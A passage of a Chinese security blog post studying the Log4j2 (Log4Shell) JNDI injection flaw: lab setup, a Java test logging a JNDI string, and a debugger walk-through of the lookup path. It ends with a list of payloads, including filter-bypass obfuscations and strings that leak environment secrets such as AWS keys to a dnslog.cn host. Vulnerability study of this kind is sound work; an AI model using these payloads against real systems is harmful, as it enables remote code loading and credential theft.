929        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>artifactId</span><span class="token punctuation">></span></span>maven-compiler-plugin<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>artifactId</span><span class="token punctuation">></span></span>
930        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>configuration</span><span class="token punctuation">></span></span>
931          <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>source</span><span class="token punctuation">></span></span>8<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>source</span><span class="token punctuation">></span></span>
932          <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>target</span><span class="token punctuation">></span></span>8<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>target</span><span class="token punctuation">></span></span>
933        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>configuration</span><span class="token punctuation">></span></span>
934      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>plugin</span><span class="token punctuation">></span></span>
935    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>plugins</span><span class="token punctuation">></span></span>
936  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>build</span><span class="token punctuation">></span></span>
937<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>project</span><span class="token punctuation">></span></span></code></pre>
938<p>log4j2.xml</p>
939<pre class=" language-xml"><code class="language-xml"><span class="token prolog">&lt;?xml version="1.0" encoding="UTF-8"?></span>
940
941<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>configuration</span> <span class="token attr-name">status</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>info<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
942  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>Properties</span><span class="token punctuation">></span></span>
943    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>Property</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>pattern1<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>[%-5p] %d %c - %m%n<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>Property</span><span class="token punctuation">></span></span>
944    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>Property</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>pattern2<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
945      =========================================%n 日志级别:%p%n 日志时间:%d%n 所属类名:%c%n 所属线程:%t%n 日志信息:%m%n
946    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>Property</span><span class="token punctuation">></span></span>
947    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>Property</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>filePath<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>logs/myLog.log<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>Property</span><span class="token punctuation">></span></span>
948  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>Properties</span><span class="token punctuation">></span></span>
949  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>appenders</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>Console</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>Console<span class="token punctuation">"</span></span> <span class="token attr-name">target</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>SYSTEM_OUT<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
950    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>PatternLayout</span> <span class="token attr-name">pattern</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>${pattern1}<span class="token punctuation">"</span></span><span class="token punctuation">/></span></span>
951  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>Console</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>RollingFile</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>RollingFile<span class="token punctuation">"</span></span> <span class="token attr-name">fileName</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>${filePath}
951<span class="token punctuation">"</span></span>
952               <span class="token attr-name">filePattern</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>logs/$${date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
953    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>PatternLayout</span> <span class="token attr-name">pattern</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>${pattern2}<span class="token punctuation">"</span></span><span class="token punctuation">/></span></span>
954    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>SizeBasedTriggeringPolicy</span> <span class="token attr-name">size</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>5 MB<span class="token punctuation">"</span></span><span class="token punctuation">/></span></span>
955  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>RollingFile</span><span class="token punctuation">></span></span>
956  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>appenders</span><span class="token punctuation">></span></span>
957  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>loggers</span><span class="token punctuation">></span></span>
958    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>root</span> <span class="token attr-name">level</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>info<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
959      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>appender-ref</span> <span class="token attr-name">ref</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>Console<span class="token punctuation">"</span></span><span class="token punctuation">/></span></span>
960      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>appender-ref</span> <span class="token attr-name">ref</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>RollingFile<span class="token punctuation">"</span></span><span class="token punctuation">/></span></span>
961    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>root</span><span class="token punctuation">></span></span>
962  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>loggers</span><span class="token punctuation">></span></span>
963<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>configuration</span><span class="token punctuation">></span></span></code></pre>
964<p>测试类</p>
965<pre class=" language-java"><code class="language-java"><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">App</span> <span class="token punctuation">{</span>
966    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">main</span><span class="token punctuation">(</span>String<span class="token punctuation">[</span><span class="token punctuation">]</span> args<span class="token punctuation">)</span> <span class="token punctuation">{</span>
967        Logger logger <span class="token operator">=</span> LogManager<span class="token punctuation">.</span><span class="token function">getLogger</span><span class="token punctuation">(</span>LongFunction<span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
968        String username <span class="token operator">=</span> <span class="token string">"${jndi:ldap://127.0.0.1:8085/GFxElmpt}"</span><span class="token punctuation">;</span>
969        logger<span class="token punctuation">.</span><span class="token function">info</span><span class="token punctuation">(</span><span class="token string">"User {} login in!"</span><span class="token punctuation">,</span> username<span class="token punctuation">)</span><span class="token punctuation">;</span>
970    <span class="token punctuation">}</span>
971<span class="token punctuation">}</span></code></pre>
972<p>环境整体结构</p>
973<p><img src="/images/pasted-1092.png" alt="upload successful"></p>
974<h3 id="调试分析"><a href="#调试分析" class="headerlink" title="调试分析"></a>调试分析</h3><p>不停的的下断点定位触发位置<br>发现i为7的时候有执行</p>
975<p><img src="/images/pasted-1093.png" alt="upload successful"><br>步进查看</p>
976<p><img src="/images/pasted-1094.png" alt="upload successful"><br>判断是否是 Log4j2 的 lookups 功能,我们是有的,继续下走,判断workingBuilder 中是否存在 ${,存在进行截取,然后进行 replace()方法</p>
977<p><img src="/images/pasted-1095.png" alt="upload successful"></p>
978<p><img src="/images/pasted-1096.png" alt="upload successful"><br>跟进 replace() 方法看看</p>
979<p><img src="/images/pasted-1097.png" alt="upload successful"></p>
980<p><img src="/images/pasted-1098.png" alt="upload successful"></p>
981<p><img src="/images/pasted-1099.png" alt="upload successful"><br>
981一直步进找业务逻辑,substitute前面都是赋值,只需要关心我们payload的变化就行。<br>while循环读取将 ${} 中间的内容取出来</p>
982<p><img src="/images/pasted-1100.png" alt="upload successful"><br>然后会再次进入substitute,传入的buf没有${}了</p>
983<p><img src="/images/pasted-1101.png" alt="upload successful"><br>步进resolveVariable函数</p>
984<p><img src="/images/pasted-1102.png" alt="upload successful"><br>resolveVariable里面调用了lookup,继续跟进,最终在jndiManager.lookup调用</p>
985<p><img src="/images/pasted-1103.png" alt="upload successful"><br>jndiManager lookup调用this.context的,JndiManagerFactory 来创建 JndiManager </p>
986<p><img src="/images/pasted-1104.png" alt="upload successful"><br>看下JndiManagerFactory</p>
987<p><img src="/images/pasted-1105.png" alt="upload successful"><br>创建InitialContext 实例,返回一个JndiManager对象</p>
988<p>JndiManager就是最终触发的位置,后面就是jndi注入的问题了</p>
989<ol>
990<li>先判断内容中是否有${},然后截取${}中的内容,得到我们的恶意payload jndi:xxx</li>
991<li>后使用:分割payload,通过前缀来判断使用何种解析器去lookup</li>
992<li>支持的前缀包括 date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j</li>
993</ol>
994<h3 id="利用payload"><a href="#利用payload" class="headerlink" title="利用payload"></a>利用payload</h3><p>${jndi:ldap://127.0.0.1:8085/GFxElmpt}<br>${jnd${upper:ı}:ldap://[127.0.0.1]]/mESHFnWc}  jndi要开389</p>
995<pre class=" language-xml"><code class="language-xml">${jnd${upper:\u0131}:ldap://[127.0.0.1]]/KWhsLxIC}</code></pre>
996<p><img src="/images/pasted-1106.png" alt="upload successful"><br>${${qax:-j${qax-::qax::-n}}${lower:${upper:d}}${upper:ı}:ldap://127.0.0.1:8086/mhStyxHU}<br>${jndi:ldap://${env:USER}.dnslog.cn}<br>${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.dnslog.cn}<br>${jndi:ldap://${java:version}.u2xf5m.dnslog.cn}<br>${bundle:application:spring.datasource.password}</p>
997
998            </div>
999            <hr/>
1000
1001            
1002
1003    <div class="reprint" id="reprint-statement">
1004        
1005            <div class="reprint__author">
1006                <span class="reprint-meta" style="font-weight: bold;">
1007                    <i class="fas fa-user">
1008                        文章作者:
1009                    </i>
1010                </span>
1011                <span class="reprint-info">
1012                    <a href="https://lnng.top" rel="external nofollow noreferrer">Lmg</a>
1013                </span>
1014            </div>
1015            <div class="reprint__type">
1016                <span class="reprint-meta" style="font-weight: bold;">
1017                    <i class="fas fa-link">
1018                        文章链接:
1019                    </i>
1020                </span>
1021                <span class="reprint-info">
1022                    <a href="https://lnng.top/posts/3947.html">https://lnng.top/posts/3947.html</a>
1023                </span>
1024            </div>
1025            <div class="reprint__notice">
1026                <span class="reprint-meta" style="font-weight: bold;">
1027                    <i class="fas fa-copyright">
1028                        版权声明:
1029                    </i>
1030                </span>
1031                <span class="reprint-info">
1032                    本博客所有文章除特別声明外,均采用
1033                    <a href="https://creativecommons.org/licenses/by/4.0/deed.zh" rel="external nofollow noreferrer" target="_blank">CC BY 4.0</a>
1034                    许可协议。转载请注明来源
1035                    <a href="https://lnng.top" target="_blank">Lmg</a>
1036                    !
1037                </span>
1038            </div>
1039        
1040    </div>
1041
1042    
1042<script async defer>
1043      document.addEventListener("copy", function (e) {
1044        let toastHTML = '<span>复制成功,请遵循本文的转载规则</span><button class="btn-flat toast-action" onclick="navToReprintStatement()" style="font-size: smaller">查看</a>';
1045        M.toast({html: toastHTML})
1046      });
1047
1048      function navToReprintStatement() {
1049        $("html, body").animate({scrollTop: $("#reprint-statement").offset().top - 80}, 800);
1050      }
1051    </script>
1051
1052
1053
1054
1055            <div class="tag_share" style="display: block;">
1056                <div class="post-meta__tag-list" style="display: inline-block;">
1057                    
1058                        <div class="article-tag">
1059                            
1060                                <a href="/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/">
1061                                    <span class="chip bg-color">代码审计</span>
1062                                </a>
1063                            
1064                                <a href="/tags/JAVA/">
1065                                    <span class="chip bg-color">JAVA</span>
1066                                </a>
1067                            
1068                                <a href="/tags/log4j2/">
1069                                    <span class="chip bg-color">log4j2</span>
1070                                </a>
1071                            
1072                        </div>
1073                    
1074                </div>
1075                <div class="post_share" style="zoom: 80%; width: fit-content; display: inline-block; float: right; margin: -0.15rem 0;">
1076                    <link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/libs/share/css/share.min.css">
1077
1078<div id="article-share">
1079    
1080    
1081    <div class="social-share" data-sites="twitter,facebook,google,qq,qzone,wechat,weibo,douban,linkedin" data-wechat-qrcode-helper="<p>微信扫一扫即可分享!</p>"></div>
1082    
1082<script src="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/libs/share/js/social-share.min.js"></script>
1082
1083    
1084
1085    
1086
1087</div>
1088
1089                </div>
1090            </div>
1091            
1092        </div>
1093    </div>
1094
1095    
1096
1097    
1098
1099    
1100
1101    
1102    <div class="livere-card card" data-aos="fade-up">
1103    <!-- 来必力City版安装代码 -->
1104    <div id="lv-container" class="card-content" data-id="city" data-uid="MTAyMC80OTIwMS8yNTY5NQ==">
1105        
1105<script type="text/javascript">
1106            (function (d, s) {
1107                let j, e = d.getElementsByTagName(s)[0];
1108                if (typeof LivereTower === 'function') {
1109                    return;
1110                }
1111
1112                j = d.createElement(s);
1113                j.src = 'https://cdn-city.livere.com/js/embed.dist.js';
1114                j.async = true;
1115
1116                e.parentNode.insertBefore(j, e);
1117            })(document, 'script');
1118        </script>
1118
1119        <noscript>为正常使用来必力评论功能请激活JavaScript。</noscript>
1120    </div>
1121    <!-- City版安装代码已完成 -->
1122</div>
1123    
1124
1125    
1126
1127    
1128
1129<article id="prenext-posts" class="prev-next articles">
1130    <div class="row article-row">
1131        
1132        <div class="article col s12 m6" data-aos="fade-up" data-aos="fade-up">
1133            <div class="article-badge left-badge text-color">
1134                <i class="far fa-dot-circle"></i>&nbsp;本篇
1135            </div>
1136            <div class="card">
1137                <a href="/posts/3947.html">
1138                    <div class="card-image">
1139                        
1140                        
1141                        <img src="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/medias/featureimages/21.jpg" class="responsive-img" alt="log4j2漏洞学习笔记">
1142                        
1143                        <span class="card-title">log4j2漏洞学习笔记</span>
1144                    </div>
1145                </a>
1146                <div class="card-content article-content">
1147                    <div class="summary block-with-text">
1148                        
1149                            环境搭建maven环境
1150&lt;project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
1151
1152                        
1153                    </div>
1154                    <div class="publish-info">
1155                            <span class="publish-date">
1156                                <i class="far fa-clock fa-fw icon-date"></i>2024-02-27
1157                            </span>
1158                        <span class="publish-author">
1159                            
1160                            <i class="fas fa-bookmark fa-fw icon-category"></i>
1161                            
1162                            <a href="/categories/Web%E5%AE%89%E5%85%A8/" class="post-category">
1163                                    Web安全
1164                                </a>
1165                            
1166                            
1167                        </span>
1168                    </div>
1169                </div>
1170
1171                
1172                <div class="card-action article-tags">
1173                    
1174                    <a href="/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/">
1175                        <span class="chip bg-color">代码审计</span>
1176                    </a>
1177                    
1178                    <a href="/tags/JAVA/">
1179                        <span class="chip bg-color">JAVA</span>
1180                    </a>
1181                    
1182                    <a href="/tags/log4j2/">
1183                        <span class="chip bg-color">log4j2</span>
1184                    </a>
1185                    
1186                </div>
1187                
1188            </div>
1189        </div>
1190        
1191        
1192        <div class="article col s12 m6" data-aos="fade-up">
1193            <div class="article-badge right-badge text-color">
1194                下一篇&nbsp;<i class="fas fa-chevron-right"></i>
1195            </div>
1196            <div class="card">
1197                <a href="/posts/1f24.html">
1198                    <div class="card-image">
1199                        
1200                        
1201                        <img src="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/medias/featureimages/17.jpg" class="responsive-img" alt="Fastjson漏洞学习笔记">
1202                        
1203                        <span class="card-title">Fastjson漏洞学习笔记</span>
1204                    </div>
1205                </a>
1206                <div class="card-content article-content">
1207                    <div class="summary block-with-text">
1208                        
1209                            流程分析Fastjson的核心目的将json格式数据转换为对象。
12101.1 基础使用将json数据转换为jsonObject,可以更加方便的获取
1211package org.example;
1212
1213import com.alibaba.fastjso
1214                        
1215                    </div>
1216                    <div class="publish-info">
1217                            <span class="publish-date">
1218                                <i class="far fa-clock fa-fw icon-date"></i>2024-02-02
1219                            </span>
1220                        <span class="publish-author">
1221                            
1222                            <i class="fas fa-bookmark fa-fw icon-category"></i>
1223                            
1224                            <a href="/categories/Web%E5%AE%89%E5%85%A8/" class="post-category">
1225                                    Web安全
1226                                </a>
1227                            
1228                            
1229                        </span>
1230                    </div>
1231                </div>
1232                
1233                <div class="card-action article-tags">
1234                    
1235                    <a href="/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/">
1236                        <span class="chip bg-color">代码审计</span>
1237                    </a>
1238                    
1239                    <a href="/tags/Fastjson/">
1240                        <span class="chip bg-color">Fastjson</span>
1241                    </a>
1242                    
1243                    <a href="/tags/JAVA/">
1244                        <span class="chip bg-color">JAVA</span>
1245                    </a>
1246                    
1247                </div>
1248                
1249            </div>
1250        </div>
1251        
1252    </div>
1253</article>
1254
1255</div>
1256
1257
1258<script>
1259    $('#articleContent').on('copy', function (e) {
1260        // IE8 or earlier browser is 'undefined'
1261        if (typeof window.getSelection === 'undefined') return;
1262
1263        var selection = window.getSelection();
1264        // if the selection is short let's not annoy our users.
1265        if (('' + selection).length < Number.parseInt('120')) {
1266            return;
1267        }
1268
1269        // create a div outside of the visible area and fill it with the selected text.
1270        var bodyElement = document.getElementsByTagName('body')[0];
1271        var newdiv = document.createElement('div');
1272        newdiv.style.position = 'absolute';
1273        newdiv.style.left = '-99999px';
1274        bodyElement.appendChild(newdiv);
1275        newdiv.appendChild(selection.getRangeAt(0).cloneContents());
1276
1277        // we need a <pre> tag workaround.
1278        // otherwise the text inside "pre" loses all the line breaks!
1279        if (selection.getRangeAt(0).commonAncestorContainer.nodeName === 'PRE') {
1280            newdiv.innerHTML = "<pre>" + newdiv.innerHTML + "</pre>";
1281        }
1282
1283        var url = document.location.href;
1284        newdiv.innerHTML += '<br />'
1285            + '来源: Script kiddie&#39;s life<br />'
1286            + '文章作者: Lmg<br />'
1287            + '文章链接: <a href="' + url + '">' + url + '</a><br />'
1288            + '本文章著作权归作者所有,任何形式的转载都请注明出处。';
1289
1290        selection.selectAllChildren(newdiv);
1291        window.setTimeout(function () {bodyElement.removeChild(newdiv);}, 200);
1292    });
1293</script>
1293
1294
1295
1296<!-- 代码块功能依赖 -->
1297<script type="text/javascript" src="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/libs/codeBlock/codeBlockFuction.js"></script>
1297
1298
1299<!-- 代码语言 -->
1300
1301<script type="text/javascript" src="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/libs/codeBlock/codeLang.js"></script>
1301
1302
1303
1304<!-- 代码块复制 -->
1305
1306<script type="text/javascript" src="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/libs/codeBlock/codeCopy.js"></script>
1306
1307
1308
1309<!-- 代码块收缩 -->
1310
1311<script type="text/javascript" src="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/libs/codeBlock/codeShrink.js"></script>
1311
1312
1313
1314<!-- 代码块折行 -->
1315
1316<style type="text/css">
1317code[class*="language-"], pre[class*="language-"] { white-space: pre !important; }
1318</style>
1319
1320
1321    </div>
1322    <div id="toc-aside" class="expanded col l3 hide-on-med-and-down">
1323        <div class="toc-widget">
1324            <div class="toc-title"><i class="far fa-list-alt"></i>&nbsp;&nbsp;目录</div>
1325            <div id="toc-content"></div>
1326        </div>
1327    </div>
1328</div>
1329
1330<!-- TOC 悬浮按钮. -->
1331
1332<div id="floating-toc-btn" class="hide-on-med-and-down">
1333    <a class="btn-floating btn-large bg-color">
1334        <i class="fas fa-list-ul"></i>
1335    </a>
1336</div>
1337
1338
1339<script src="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/libs/tocbot/tocbot.min.js"></script>
vendor: 1 bytes, line 1339
1339
1340<script>
1341    $(function () {
1342        tocbot.init({
1343            tocSelector: '#toc-content',
1344            contentSelector: '#articleContent',
1345            headingsOffset: -($(window).height() * 0.4 - 45),
1346            collapseDepth: Number('0'),
1347            headingSelector: 'h2, h3, h4'
1348        });
1349
1350        // modify the toc link href to support Chinese.
1351        let i = 0;
1352        let tocHeading = 'toc-heading-';
1353        $('#toc-content a').each(function () {
1354            $(this).attr('href', '#' + tocHeading + (++i));
1355        });
1356
1357        // modify the heading title id to support Chinese.
1358        i = 0;
1359        $('#articleContent').children('h2, h3, h4').each(function () {
1360            $(this).attr('id', tocHeading + (++i));
1361        });
1362
1363        // Set scroll toc fixed.
1364        let tocHeight = parseInt($(window).height() * 0.4 - 64);
1365        let $tocWidget = $('.toc-widget');
1366        $(window).scroll(function () {
1367            let scroll = $(window).scrollTop();
1368            /* add post toc fixed. */
1369            if (scroll > tocHeight) {
1370                $tocWidget.addClass('toc-fixed');
1371            } else {
1372                $tocWidget.removeClass('toc-fixed');
1373            }
1374        });
1375
1376        
1377        /* 修复文章卡片 div 的宽度. */
1378        let fixPostCardWidth = function (srcId, targetId) {
1379            let srcDiv = $('#' + srcId);
1380            if (srcDiv.length === 0) {
1381                return;
1382            }
1383
1384            let w = srcDiv.width();
1385            if (w >= 450) {
1386                w = w + 21;
1387            } else if (w >= 350 && w < 450) {
1388                w = w + 18;
1389            } else if (w >= 300 && w < 350) {
1390                w = w + 16;
1391            } else {
1392                w = w + 14;
1393            }
1394            $('#' + targetId).width(w);
1395        };
1396
1397        // 切换TOC目录展开收缩的相关操作.
1398        const expandedClass = 'expanded';
1399        let $tocAside = $('#toc-aside');
1400        let $mainContent = $('#main-content');
1401        $('#floating-toc-btn .btn-floating').click(function () {
1402            if ($tocAside.hasClass(expandedClass)) {
1403                $tocAside.removeClass(expandedClass).hide();
1404                $mainContent.removeClass('l9');
1405            } else {
1406                $tocAside.addClass(expandedClass).show();
1407                $mainContent.addClass('l9');
1408            }
1409            fixPostCardWidth('artDetail', 'prenext-posts');
1410        });
1411        
1412    });
1413</script>
1413
1414
1415    
1416
1417</main>
1418
1419
1420
1421    <footer class="page-footer bg-color">
1422    
1423    <div class="container row center-align" style="margin-bottom: 15px !important;">
1424        <div class="col s12 m8 l8 copy-right">
1425            Copyright&nbsp;&copy;
1426            <span id="year">2020</span>
1427            <a href="https://lnng.top" target="_blank">Lmg</a>
1428            |&nbsp;Powered by&nbsp;<a href="https://hexo.io/" target="_blank">Hexo</a>
1429            |&nbsp;Theme&nbsp;<a href="https://github.com/blinkfox/hexo-theme-matery" target="_blank">Matery</a>
1430            <br>
1431            
1432            
1433            
1434            
1435            
1436             <span id="busuanzi_container_site_pv" style='display:none'></span> <i class="fa fa-heart-o"></i> 本站总访问量 <span id="busuanzi_value_site_pv" class="white-color"></span>   <span id="busuanzi_container_site_uv" style='display:none'></span> 人次,&nbsp;访客数 <span id="busuanzi_value_site_uv" class="white-color"></span> 人. 
1437
1438            <br>
1439            
1440            <span id="sitetime">载入运行时间...</span>
1441
1442            
1442<script>
1443                function siteTime() {
1444                    var seconds = 1000;
1445                    var minutes = seconds * 60;
1446                    var hours = minutes * 60;
1447                    var days = hours * 24;
1448                    var years = days * 365;
1449                    var today = new Date();
1450                    var startYear = "2020";
1451                    var startMonth = "3";
1452                    var startDate = "22";
1453                    var startHour = "0";
1454                    var startMinute = "0";
1455                    var startSecond = "0";
1456                    var todayYear = today.getFullYear();
1457                    var todayMonth = today.getMonth() + 1;
1458                    var todayDate = today.getDate();
1459                    var todayHour = today.getHours();
1460                    var todayMinute = today.getMinutes();
1461                    var todaySecond = today.getSeconds();
1462                    var t1 = Date.UTC(startYear, startMonth, startDate, startHour, startMinute, startSecond);
1463                    var t2 = Date.UTC(todayYear, todayMonth, todayDate, todayHour, todayMinute, todaySecond);
1464                    var diff = t2 - t1;
1465                    var diffYears = Math.floor(diff / years);
1466                    var diffDays = Math.floor((diff / days) - diffYears * 365);
1467                    var diffHours = Math.floor((diff - (diffYears * 365 + diffDays) * days) / hours);
1468                    var diffMinutes = Math.floor((diff - (diffYears * 365 + diffDays) * days - diffHours * hours) /
1469                        minutes);
1470                    var diffSeconds = Math.floor((diff - (diffYears * 365 + diffDays) * days - diffHours * hours -
1471                        diffMinutes * minutes) / seconds);
1472                    if (startYear == todayYear) {
1473                        document.getElementById("year").innerHTML = todayYear;
1474                        document.getElementById("sitetime").innerHTML = "本站已安全运行 " + diffDays + " 天 " + diffHours +
1475                            " 小时 " + diffMinutes + " 分钟 " + diffSeconds + " 秒";
1476                    } else {
1477                        document.getElementById("year").innerHTML = startYear + " - " + todayYear;
1478                        document.getElementById("sitetime").innerHTML = "本站已安全运行 " + diffYears + " 年 " + diffDays +
1479                            " 天 " + diffHours + " 小时 " + diffMinutes + " 分钟 " + diffSeconds + " 秒";
1480                    }
1481                }
1482
1483                setInterval(siteTime, 1000);
1484            </script>
1484
1485
1486            
1487            
1487<script src="https://pv.sohu.com/cityjson?ie=utf-8"></script>
1487 
1488            
1488<script type="text/javascript">  
1489            document.write('欢迎来自:' + returnCitySN["cname"]+'的朋友' + ",您的IP:" + returnCitySN["cip"] + ",浏览器版本:"+getBrowserInfo());
1490        function getBrowserInfo()
1491{
1492    var agent = navigator.userAgent.toLowerCase() ;
1493    var regStr_ie = /msie [\d.]+;/gi ;
1494    var regStr_ff = /firefox\/[\d.]+/gi
1495    var regStr_chrome = /chrome\/[\d.]+/gi ;
1496    var regStr_saf = /safari\/[\d.]+/gi ;
1497    //IE
1498    if(agent.indexOf("msie") > 0)
1499    {
1500        return agent.match(regStr_ie) ;
1501    }
1502    //firefox
1503    if(agent.indexOf("firefox") > 0)
1504    {
1505        return agent.match(regStr_ff) ;
1506    }
1507    //Chrome
1508    if(agent.indexOf("chrome") > 0)
1509    {
1510        return agent.match(regStr_chrome) ;
1511    }
1512    //Safari
1513    if(agent.indexOf("safari") > 0 && agent.indexOf("chrome") < 0)
1514    {
1515        return agent.match(regStr_saf) ;
1516    }
1517}
1518</script>
1518 
1519
1520            <br>
1521            
1522        </div>
1523        <div class="col s12 m4 l4 social-link social-statis">
1524    <a href="https://github.com/Lmg66" class="tooltipped" target="_blank" data-tooltip="访问我的GitHub" data-position="top" data-delay="50">
1525        <i class="fab fa-github"></i>
1526    </a>
1527
1528
1529
1530    <a href="mailto:[email protected]" class="tooltipped" target="_blank" data-tooltip="邮件联系我" data-position="top" data-delay="50">
1531        <i class="fas fa-envelope-open"></i>
1532    </a>
1533
1534
1535
1536
1537
1538
1539
1540    <a href="tencent://AddContact/?fromId=50&fromSubId=1&subcmd=all&uin=1589862745" class="tooltipped" target="_blank" data-tooltip="QQ联系我: 1589862745" data-position="top" data-delay="50">
1541        <i class="fab fa-qq"></i>
1542    </a>
1543
1544
1545
1546
1547
1548
1549
1550    <a href="/atom.xml" class="tooltipped" target="_blank" data-tooltip="RSS 订阅" data-position="top" data-delay="50">
1551        <i class="fas fa-rss"></i>
1552    </a>
1553
1554</div>
1555    </div>
1556</footer>
1557
1558
1559    <!-- 搜索遮罩框 -->
1560<div id="searchModal" class="modal">
1561    <div class="modal-content">
1562        <div class="search-header">
1563            <span class="title"><i class="fas fa-search"></i>&nbsp;&nbsp;搜索</span>
1564            <input type="search" id="searchInput" name="s" placeholder="请输入搜索的关键字"
1565                   class="search-input">
1566        </div>
1567        <div id="searchResult"></div>
1568    </div>
1569</div>
1570
1571<script src="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/js/search.js"></script>
vendor: 1 bytes, line 1571
1571
1572<script type="text/javascript">
1573$(function () {
1574    searchFunc("https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/" + "search.xml", 'searchInput', 'searchResult');
1575});
1576</script>
1576
1577    <!-- 回到顶部按钮 -->
1578<div id="backTop" class="top-scroll">
1579    <a class="btn-floating btn-large waves-effect waves-light" href="#!">
1580        <i class="fas fa-arrow-up"></i>
1581    </a>
1582</div>
1583
1584<!-- <canvas class="fireworks" style="position: fixed;left: 0;top: 0;z-index: 1; pointer-events: none;" ></canvas> 
1585<script type="text/javascript" src="//cdn.bootcss.com/animejs/2.2.0/anime.min.js"></script>
1585 
1586<script type="text/javascript" src="/js/fireworks.js"></script>
1586 -->
1587
1588<!-- 
1588<script src="/js/cursor.js"></script>
1588 -->
1589    
1589<script src="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/libs/materialize/materialize.min.js"></script>
1589
1590    
1590<script src="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/libs/masonry/masonry.pkgd.min.js"></script>
1590
1591    
1591<script src="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/libs/aos/aos.js"></script>
1591
1592    
1592<script src="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/libs/scrollprogress/scrollProgress.min.js"></script>
1592
1593    
